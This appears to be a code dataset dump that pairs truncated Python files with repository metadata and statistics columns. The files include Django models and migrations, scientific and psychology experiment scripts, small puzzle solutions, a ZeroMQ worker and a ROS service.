C_d = cublas.gemm("N", "N", 1.0, A_d, B_d)
print(C_d)
| 17.705882 | 42 | 0.681063 | 68 | 301 | 2.897059 | 0.382353 | 0.060914 | 0.13198 | 0.142132 | 0.152284 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031621 | 0.159468 | 301 | 16 | 43 | 18.8125 | 0.747036 | 0 | 0 | 0 | 0 | 0 | 0.006645 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
af37533e55a971d42bae3b017760683c860705c1 | 3,922 | py | Python | env/share/doc/dipy/examples/tracking_eudx_tensor.py | Raniac/NEURO-LEARN | 3c3acc55de8ba741e673063378e6cbaf10b64c7a | [
"Apache-2.0"
] | 8 | 2019-05-29T09:38:30.000Z | 2021-01-20T03:36:59.000Z | env/share/doc/dipy/examples/tracking_eudx_tensor.py | Raniac/neurolearn_dev | 3c3acc55de8ba741e673063378e6cbaf10b64c7a | [
"Apache-2.0"
] | 12 | 2021-03-09T03:01:16.000Z | 2022-03-11T23:59:36.000Z | env/share/doc/dipy/examples/tracking_eudx_tensor.py | Raniac/NEURO-LEARN | 3c3acc55de8ba741e673063378e6cbaf10b64c7a | [
"Apache-2.0"
] | 1 | 2020-07-17T12:49:49.000Z | 2020-07-17T12:49:49.000Z | """
=================================================
Deterministic Tracking with EuDX on Tensor Fields
=================================================
In this example we do deterministic fiber tracking on Tensor fields with EuDX
[Garyfallidis12]_.
This example requires to import example `reconst_dti.py` to run. E... | 25.633987 | 81 | 0.72922 | 575 | 3,922 | 4.897391 | 0.429565 | 0.019886 | 0.01598 | 0.009233 | 0.019176 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010341 | 0.161652 | 3,922 | 152 | 82 | 25.802632 | 0.846107 | 0.134625 | 0 | 0 | 0 | 0 | 0.122435 | 0.015048 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.341463 | 0 | 0.341463 | 0.02439 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
af4209c29081da3f889072766ee3f06622d6ef57 | 374 | py | Python | Task/9-billion-names-of-God-the-integer/Python/9-billion-names-of-god-the-integer-2.py | LaudateCorpus1/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | 1 | 2018-11-09T22:08:38.000Z | 2018-11-09T22:08:38.000Z | Task/9-billion-names-of-God-the-integer/Python/9-billion-names-of-god-the-integer-2.py | seanwallawalla-forks/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | null | null | null | Task/9-billion-names-of-God-the-integer/Python/9-billion-names-of-god-the-integer-2.py | seanwallawalla-forks/RosettaCodeData | 9ad63ea473a958506c041077f1d810c0c7c8c18d | [
"Info-ZIP"
] | 1 | 2018-11-09T22:08:40.000Z | 2018-11-09T22:08:40.000Z | def partitions(N):
diffs,k,s = [],1,1
while k * (3*k-1) < 2*N:
diffs.extend([(2*k - 1, s), (k, s)])
k,s = k+1,-s
out = [1] + [0]*N
for p in range(0, N+1):
x = out[p]
for (o,s) in diffs:
p += o
if p > N: break
out[p] += x*s
return out
p = partitio... | 19.684211 | 44 | 0.435829 | 73 | 374 | 2.232877 | 0.369863 | 0.03681 | 0.03681 | 0.04908 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129167 | 0.358289 | 374 | 18 | 45 | 20.777778 | 0.55 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af4233fc73bef13415ed0e5a7bb3cc5f4af63d98 | 659 | py | Python | Codeforce/CF59-D2-A/Word.py | Sonu589/Hacktoberfest-2025 | 06397aa12a41967cb112722666e384007d87dbc4 | [
"MIT"
] | 1 | 2021-10-04T07:14:40.000Z | 2021-10-04T07:14:40.000Z | Codeforce/CF59-D2-A/Word.py | Sonu589/Hacktoberfest-2025 | 06397aa12a41967cb112722666e384007d87dbc4 | [
"MIT"
] | 11 | 2022-01-24T20:42:11.000Z | 2022-02-27T23:58:24.000Z | Codeforce/CF59-D2-A/Word.py | Sonu589/Hacktoberfest-2025 | 06397aa12a41967cb112722666e384007d87dbc4 | [
"MIT"
] | 1 | 2021-10-05T04:40:26.000Z | 2021-10-05T04:40:26.000Z | #!/usr/bin/env python3
import sys
input = sys.stdin.readline
############ ---- Input Functions, coutery of 'thekushalghosh' ---- ############
def inp():
return(int(input()))
def inlt():
return(list(map(int, input().split())))
def insr():
s = input()
return(list(s[:len(s) - 1]))
def invr():
... | 17.810811 | 80 | 0.515933 | 92 | 659 | 3.608696 | 0.467391 | 0.072289 | 0.066265 | 0.096386 | 0.10241 | 0.10241 | 0.10241 | 0 | 0 | 0 | 0 | 0.010309 | 0.264036 | 659 | 36 | 81 | 18.305556 | 0.674227 | 0.115326 | 0 | 0.086957 | 0 | 0 | 0.014363 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.173913 | false | 0 | 0.043478 | 0.130435 | 0.217391 | 0.086957 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
af460998cc26e43cba546213ee7d2d2af0002a95 | 37,065 | py | Python | runExpPsychopy/Exp1_olderPsychopy_correctStructure0214_writeResp.py | miaoli-psy/CrowdingNumerosityGit | 625c2693fd210b936e0cf95e9ca2d35c808251b8 | [
"BSD-2-Clause"
] | null | null | null | runExpPsychopy/Exp1_olderPsychopy_correctStructure0214_writeResp.py | miaoli-psy/CrowdingNumerosityGit | 625c2693fd210b936e0cf95e9ca2d35c808251b8 | [
"BSD-2-Clause"
] | null | null | null | runExpPsychopy/Exp1_olderPsychopy_correctStructure0214_writeResp.py | miaoli-psy/CrowdingNumerosityGit | 625c2693fd210b936e0cf95e9ca2d35c808251b8 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
This experiment was created using PsychoPy2 Experiment Builder (v1.84.2),
on February 14, 2019, at 13:04
If you publish work using this script please cite the PsychoPy publications:
Peirce, JW (2007) PsychoPy - Psychophysics software in Python.
Journal ... | 40.463974 | 211 | 0.595225 | 4,374 | 37,065 | 4.962963 | 0.130087 | 0.021605 | 0.013267 | 0.011609 | 0.742445 | 0.706652 | 0.672517 | 0.644325 | 0.61019 | 0.548738 | 0 | 0.021642 | 0.301875 | 37,065 | 915 | 212 | 40.508197 | 0.817282 | 0.298314 | 0 | 0.588034 | 0 | 0 | 0.076866 | 0.005751 | 0 | 0 | 0 | 0.001093 | 0 | 1 | 0 | false | 0 | 0.017094 | 0 | 0.017094 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af500d453fe91b9945968c258744e395d10c0060 | 477 | py | Python | allmychanges/management/commands/update_package.py | AllMyChanges/allmychanges.com | 6729e9bddee8f76068737383d641ca3bc6e85422 | [
"BSD-2-Clause"
] | 46 | 2015-01-31T10:19:26.000Z | 2019-07-01T14:00:01.000Z | allmychanges/management/commands/update_package.py | AllMyChanges/allmychanges.com | 6729e9bddee8f76068737383d641ca3bc6e85422 | [
"BSD-2-Clause"
] | 59 | 2015-02-27T12:01:22.000Z | 2021-06-10T23:01:10.000Z | allmychanges/management/commands/update_package.py | AllMyChanges/allmychanges.com | 6729e9bddee8f76068737383d641ca3bc6e85422 | [
"BSD-2-Clause"
] | 11 | 2015-02-22T19:55:13.000Z | 2020-06-05T18:20:03.000Z | from django.core.management.base import BaseCommand
from twiggy_goodies.django import LogMixin
from allmychanges.models import Changelog
class Command(LogMixin, BaseCommand):
help = u"""Tests crawler on selected projects."""
def handle(self, *args, **options):
name = args[0]
changelog = Chang... | 34.071429 | 75 | 0.66457 | 57 | 477 | 5.526316 | 0.684211 | 0.063492 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01087 | 0.228512 | 477 | 13 | 76 | 36.692308 | 0.845109 | 0 | 0 | 0 | 0 | 0 | 0.081761 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.3 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af5c49dd9107b197cbc087d8323c96cc2f598371 | 1,791 | py | Python | study/third_party_library/crawler/FindInterestedPaperVLDB2014.py | CheYulin/PythonStudy | 2b68a9cb2f7044d7e5ce9e7c971070eba7a36c07 | [
"MIT"
] | 3 | 2018-03-10T15:14:06.000Z | 2020-06-17T03:13:21.000Z | study/third_party_library/crawler/FindInterestedPaperVLDB2014.py | YcheLanguageStudio/PythonStudy | 2b68a9cb2f7044d7e5ce9e7c971070eba7a36c07 | [
"MIT"
] | null | null | null | study/third_party_library/crawler/FindInterestedPaperVLDB2014.py | YcheLanguageStudio/PythonStudy | 2b68a9cb2f7044d7e5ce9e7c971070eba7a36c07 | [
"MIT"
] | null | null | null | import urllib2
import gzip
import re
import sys
from StringIO import StringIO
from bs4 import BeautifulSoup
__author__ = 'cheyulin'
def loadData(url):
request = urllib2.Request(url)
request.add_header('Accept-encoding', 'gzip')
response = urllib2.urlopen(request)
print response.info().get('Content-En... | 35.117647 | 82 | 0.606924 | 225 | 1,791 | 4.693333 | 0.4 | 0.030303 | 0.049242 | 0.048295 | 0.266098 | 0.20928 | 0.20928 | 0.083333 | 0 | 0 | 0 | 0.01909 | 0.239531 | 1,791 | 50 | 83 | 35.82 | 0.756241 | 0.128978 | 0 | 0 | 0 | 0 | 0.156913 | 0.032154 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.146341 | null | null | 0.146341 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af65e71e39ab34772c4075a9651096d9ecc33326 | 1,275 | py | Python | bookStore/users/migrations/0022_creditcard.py | afern247/BookStore-Web | bb914f9344ba7a92252973633da99a6b09054217 | [
"MIT"
] | null | null | null | bookStore/users/migrations/0022_creditcard.py | afern247/BookStore-Web | bb914f9344ba7a92252973633da99a6b09054217 | [
"MIT"
] | null | null | null | bookStore/users/migrations/0022_creditcard.py | afern247/BookStore-Web | bb914f9344ba7a92252973633da99a6b09054217 | [
"MIT"
] | null | null | null | # Generated by Django 2.1.5 on 2019-03-23 22:30
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('users', '0021_address_primaryaddress'),
]
operations = [
migrations.CreateModel(
name='CreditCa... | 47.222222 | 261 | 0.580392 | 140 | 1,275 | 5.214286 | 0.642857 | 0.032877 | 0.038356 | 0.060274 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125633 | 0.225882 | 1,275 | 26 | 262 | 49.038462 | 0.613982 | 0.035294 | 0 | 0 | 1 | 0 | 0.149837 | 0.021987 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af694b73320e901f5929646929786a4800a51497 | 529 | py | Python | sw/migrations/0003_note.py | Nigar-mr/SwTechnices | a77835a0a5fa72f5cc76e1ef6c004173b10c03bc | [
"MIT"
] | null | null | null | sw/migrations/0003_note.py | Nigar-mr/SwTechnices | a77835a0a5fa72f5cc76e1ef6c004173b10c03bc | [
"MIT"
] | null | null | null | sw/migrations/0003_note.py | Nigar-mr/SwTechnices | a77835a0a5fa72f5cc76e1ef6c004173b10c03bc | [
"MIT"
] | null | null | null | # Generated by Django 2.2.7 on 2019-11-22 08:33
import ckeditor.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('sw', '0002_message_occupation'),
]
operations = [
migrations.CreateModel(
name='Note',
fields... | 24.045455 | 114 | 0.586011 | 54 | 529 | 5.648148 | 0.740741 | 0.091803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050398 | 0.287335 | 529 | 21 | 115 | 25.190476 | 0.758621 | 0.085066 | 0 | 0 | 1 | 0 | 0.076763 | 0.047718 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af6d4a7039b51cca97e0de8ab8ff4d922402d030 | 1,219 | py | Python | task_widgets/calculation/numbers_calculation.py | athrn/kognitivo | 15822338778213c09ea654ec4e06a300129f9478 | [
"Apache-2.0"
] | 80 | 2017-11-13T21:58:55.000Z | 2022-01-03T20:10:42.000Z | task_widgets/calculation/numbers_calculation.py | athrn/kognitivo | 15822338778213c09ea654ec4e06a300129f9478 | [
"Apache-2.0"
] | null | null | null | task_widgets/calculation/numbers_calculation.py | athrn/kognitivo | 15822338778213c09ea654ec4e06a300129f9478 | [
"Apache-2.0"
] | 21 | 2017-11-14T09:47:41.000Z | 2021-11-23T06:44:31.000Z | import random
from task_widgets.task_base.intro_hint import IntroHint
from utils import import_kv
from .calculation import ModeOperandsCalculation
import_kv(__file__)
class IntroHintNumbersCalculation(IntroHint):
pass
class NumbersCalculation(ModeOperandsCalculation):
FROM = 101
TO = 899
TASK_KEY ... | 28.348837 | 78 | 0.641509 | 149 | 1,219 | 5.107383 | 0.328859 | 0.082786 | 0.089356 | 0.082786 | 0.049934 | 0.049934 | 0 | 0 | 0 | 0 | 0 | 0.023153 | 0.255948 | 1,219 | 42 | 79 | 29.02381 | 0.815877 | 0 | 0 | 0 | 0 | 0 | 0.042658 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.033333 | 0.166667 | 0.033333 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
af88d8896fe80a9f9654ff4b2d47da0592903018 | 4,026 | py | Python | sched/adaptdl_sched/supervisor.py | jessezbj/adaptdl | 21482877890ec1cb0b3608d2f1317f779eb8d085 | [
"Apache-2.0"
] | 294 | 2020-08-24T19:49:09.000Z | 2022-03-28T02:42:13.000Z | sched/adaptdl_sched/supervisor.py | jessezbj/adaptdl | 21482877890ec1cb0b3608d2f1317f779eb8d085 | [
"Apache-2.0"
] | 79 | 2020-09-01T00:44:25.000Z | 2022-03-23T07:52:22.000Z | sched/adaptdl_sched/supervisor.py | jessezbj/adaptdl | 21482877890ec1cb0b3608d2f1317f779eb8d085 | [
"Apache-2.0"
] | 41 | 2020-08-25T17:02:08.000Z | 2022-02-27T21:39:48.000Z | # Copyright 2020 Petuum, Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 40.26 | 78 | 0.642077 | 506 | 4,026 | 4.938735 | 0.379447 | 0.018007 | 0.021609 | 0.034814 | 0.096038 | 0.070428 | 0.070428 | 0.046419 | 0.046419 | 0.046419 | 0 | 0.007026 | 0.257576 | 4,026 | 99 | 79 | 40.666667 | 0.82904 | 0.247144 | 0 | 0.032258 | 0 | 0 | 0.091092 | 0.020429 | 0 | 0 | 0 | 0.010101 | 0 | 1 | 0.032258 | false | 0 | 0.080645 | 0 | 0.193548 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af8bfbc4d47aab875b9630049b677aba7e677060 | 703 | py | Python | questions/scripts/update_question_count_of_chapters.py | nyctophiliacme/edtech-backend | 71f65b379d03d04fad1ea2b1a16a5a3be9bdd938 | [
"MIT"
] | null | null | null | questions/scripts/update_question_count_of_chapters.py | nyctophiliacme/edtech-backend | 71f65b379d03d04fad1ea2b1a16a5a3be9bdd938 | [
"MIT"
] | null | null | null | questions/scripts/update_question_count_of_chapters.py | nyctophiliacme/edtech-backend | 71f65b379d03d04fad1ea2b1a16a5a3be9bdd938 | [
"MIT"
] | null | null | null | import django
import os
import sys
sys.path.append("/home/ubuntu/edtech-backend")
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'superteacher.settings')
django.setup()
from exams.models import Exam
from subjects.models import Subject
from chapters.models import Chapter
from questions.models import QuestionChapterMa... | 30.565217 | 99 | 0.751067 | 86 | 703 | 6 | 0.465116 | 0.093023 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001678 | 0.152205 | 703 | 22 | 100 | 31.954545 | 0.864094 | 0 | 0 | 0 | 0 | 0 | 0.110953 | 0.099573 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.388889 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
af8c318c25e681dcaae6ae6cba4be68036fd789b | 1,599 | py | Python | services/homesec/homesec.py | kstillson/ktools | 99690e5a40a0b94545e766efddfd2e39ff8cc78e | [
"MIT"
] | null | null | null | services/homesec/homesec.py | kstillson/ktools | 99690e5a40a0b94545e766efddfd2e39ff8cc78e | [
"MIT"
] | null | null | null | services/homesec/homesec.py | kstillson/ktools | 99690e5a40a0b94545e766efddfd2e39ff8cc78e | [
"MIT"
] | null | null | null | #!/usr/bin/python3
'''TODO: doc
'''
import argparse, os, sys
import view
import kcore.common as C
import kcore.webserver as W
WEB_HANDLERS = {
'/$': view.root_view,
'/easy': view.easy_view,
'/healthz': view.healthz_view,
'/static.*': view.static_view,
'/status': view.status_vie... | 30.169811 | 139 | 0.657286 | 226 | 1,599 | 4.5 | 0.433628 | 0.019666 | 0.051131 | 0.037365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004591 | 0.182614 | 1,599 | 52 | 140 | 30.75 | 0.773527 | 0.036898 | 0 | 0 | 0 | 0 | 0.242978 | 0 | 0 | 0 | 0 | 0.019231 | 0 | 1 | 0.057143 | false | 0 | 0.142857 | 0 | 0.228571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
af91a12ebe5083f2cf235e0116338c74e0aeaed6 | 377 | py | Python | scheduler/templatetags/custom_filters.py | MarynaSavchenko/zielbruks | ccebd84adaa71fe5b9735747c8c684ab7e0cbc8e | [
"MIT"
] | null | null | null | scheduler/templatetags/custom_filters.py | MarynaSavchenko/zielbruks | ccebd84adaa71fe5b9735747c8c684ab7e0cbc8e | [
"MIT"
] | 9 | 2019-04-01T21:52:12.000Z | 2019-06-11T17:31:10.000Z | scheduler/templatetags/custom_filters.py | MarynaSavchenko/zielbruks | ccebd84adaa71fe5b9735747c8c684ab7e0cbc8e | [
"MIT"
] | 2 | 2019-03-31T16:23:04.000Z | 2019-06-15T22:14:41.000Z | """module for custom template tags"""
from django import template
register = template.Library()
@register.simple_tag
def get_color_tag(counter):
"""returns color tag based on parity of the counter"""
if counter % 2 == 0:
return 'warning'
return 'info'
@register.simple_tag
def get_danger_tag():
... | 19.842105 | 58 | 0.681698 | 50 | 377 | 5.02 | 0.58 | 0.095618 | 0.135458 | 0.159363 | 0.183267 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006645 | 0.201592 | 377 | 18 | 59 | 20.944444 | 0.827243 | 0.28382 | 0 | 0.2 | 0 | 0 | 0.066929 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.1 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
af997d86b84297ca9d63b60be310ee0b4083bbef | 241 | py | Python | problem5.py | andersontenorio/projecteuler | e6828c02e2e905568ec2c8ff94acb063303074f4 | [
"MIT"
] | null | null | null | problem5.py | andersontenorio/projecteuler | e6828c02e2e905568ec2c8ff94acb063303074f4 | [
"MIT"
] | null | null | null | problem5.py | andersontenorio/projecteuler | e6828c02e2e905568ec2c8ff94acb063303074f4 | [
"MIT"
] | null | null | null | n = 0
factor = 20
while True:
n = n + factor
is_divisible = True
for i in range(1, factor + 1):
if n % i != 0:
is_divisible = False
break
if (is_divisible):
break
print(n)
| 17.214286 | 42 | 0.473029 | 33 | 241 | 3.363636 | 0.515152 | 0.297297 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044444 | 0.439834 | 241 | 13 | 43 | 18.538462 | 0.777778 | 0 | 0 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.083333 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afa4bdb48572500308077fd97c941de2d87fc5a4 | 443 | py | Python | babytracker/events/models.py | graupv/BabyTracker | 46db17abc3817bf1b88efe4cd16a45843fe78f95 | [
"MIT"
] | null | null | null | babytracker/events/models.py | graupv/BabyTracker | 46db17abc3817bf1b88efe4cd16a45843fe78f95 | [
"MIT"
] | null | null | null | babytracker/events/models.py | graupv/BabyTracker | 46db17abc3817bf1b88efe4cd16a45843fe78f95 | [
"MIT"
] | null | null | null | from django.db import models
from django.utils.timezone import now
class Event(models.Model):
datetime = models.DateTimeField(default = now)
description = models.CharField(max_length = 200, null = False)
baby = models.ForeignKey(
'babies.Baby',
on_delete = models.SET_NULL,
null = Tr... | 29.533333 | 67 | 0.650113 | 55 | 443 | 5.109091 | 0.654545 | 0.071174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008876 | 0.23702 | 443 | 15 | 67 | 29.533333 | 0.822485 | 0 | 0 | 0 | 0 | 0 | 0.038288 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.153846 | 0.076923 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
afa519ef4f83aa049def19f381594b951d04f274 | 921 | py | Python | zerotask/worker.py | Alex-CodeLab/zerotask | 708b4cf803eb9eda8a7b2cdb76a88caaa71c3012 | [
"MIT"
] | 1 | 2020-06-08T00:02:19.000Z | 2020-06-08T00:02:19.000Z | zerotask/worker.py | Alex-CodeLab/zerotask | 708b4cf803eb9eda8a7b2cdb76a88caaa71c3012 | [
"MIT"
] | null | null | null | zerotask/worker.py | Alex-CodeLab/zerotask | 708b4cf803eb9eda8a7b2cdb76a88caaa71c3012 | [
"MIT"
] | null | null | null | import ast
import json
import os
import signal
import sys
import zmq
from tasks import *
context = zmq.Context()
receiver = context.socket(zmq.PULL)
receiver.bind('tcp://127.0.0.1:5588')
# Socket to send messages to
sender = context.socket(zmq.PUSH)
sender.connect("tcp://127.0.0.1:5589")
# todo: clean kill- wait unt... | 26.314286 | 69 | 0.67101 | 131 | 921 | 4.625954 | 0.557252 | 0.059406 | 0.052805 | 0.026403 | 0.029703 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032129 | 0.188925 | 921 | 34 | 70 | 27.088235 | 0.779116 | 0.152009 | 0 | 0 | 0 | 0 | 0.069677 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 1 | 0.04 | false | 0 | 0.28 | 0 | 0.32 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afaecf270b0012749d2bfc7693fa3750c22d2cee | 393 | py | Python | test/test_server.py | mgrrx/aioros | 9bd750020d0d5fb466891346f61b6f083cbb8f05 | [
"Apache-2.0"
] | 8 | 2020-08-27T17:16:59.000Z | 2022-02-02T13:39:41.000Z | test/test_server.py | mgrrx/aioros | 9bd750020d0d5fb466891346f61b6f083cbb8f05 | [
"Apache-2.0"
] | 3 | 2022-02-09T19:18:12.000Z | 2022-03-08T21:12:00.000Z | test/test_server.py | mgrrx/aioros | 9bd750020d0d5fb466891346f61b6f083cbb8f05 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python3
import aioros
from rospy_tutorials.srv import AddTwoInts
from rospy_tutorials.srv import AddTwoIntsResponse
async def setup(nh: aioros.NodeHandle):
await nh.create_service(
'add_two_ints',
AddTwoInts,
lambda request: AddTwoIntsResponse(request.a + request.b))
if __na... | 21.833333 | 66 | 0.735369 | 49 | 393 | 5.55102 | 0.653061 | 0.066176 | 0.132353 | 0.154412 | 0.198529 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003077 | 0.173028 | 393 | 17 | 67 | 23.117647 | 0.833846 | 0.043257 | 0 | 0 | 0 | 0 | 0.104 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.3 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
afaf8c33f53139fdc1d77c79ac987609220c6432 | 2,150 | py | Python | venv/Lib/site-packages/tests/test_312_CacheBoundParameters.py | shehzadulislam/Assignment4 | a9cced70be6ae5d2685027d68032d5849f638301 | [
"Apache-2.0"
] | null | null | null | venv/Lib/site-packages/tests/test_312_CacheBoundParameters.py | shehzadulislam/Assignment4 | a9cced70be6ae5d2685027d68032d5849f638301 | [
"Apache-2.0"
] | null | null | null | venv/Lib/site-packages/tests/test_312_CacheBoundParameters.py | shehzadulislam/Assignment4 | a9cced70be6ae5d2685027d68032d5849f638301 | [
"Apache-2.0"
] | null | null | null | #
# Licensed Materials - Property of IBM
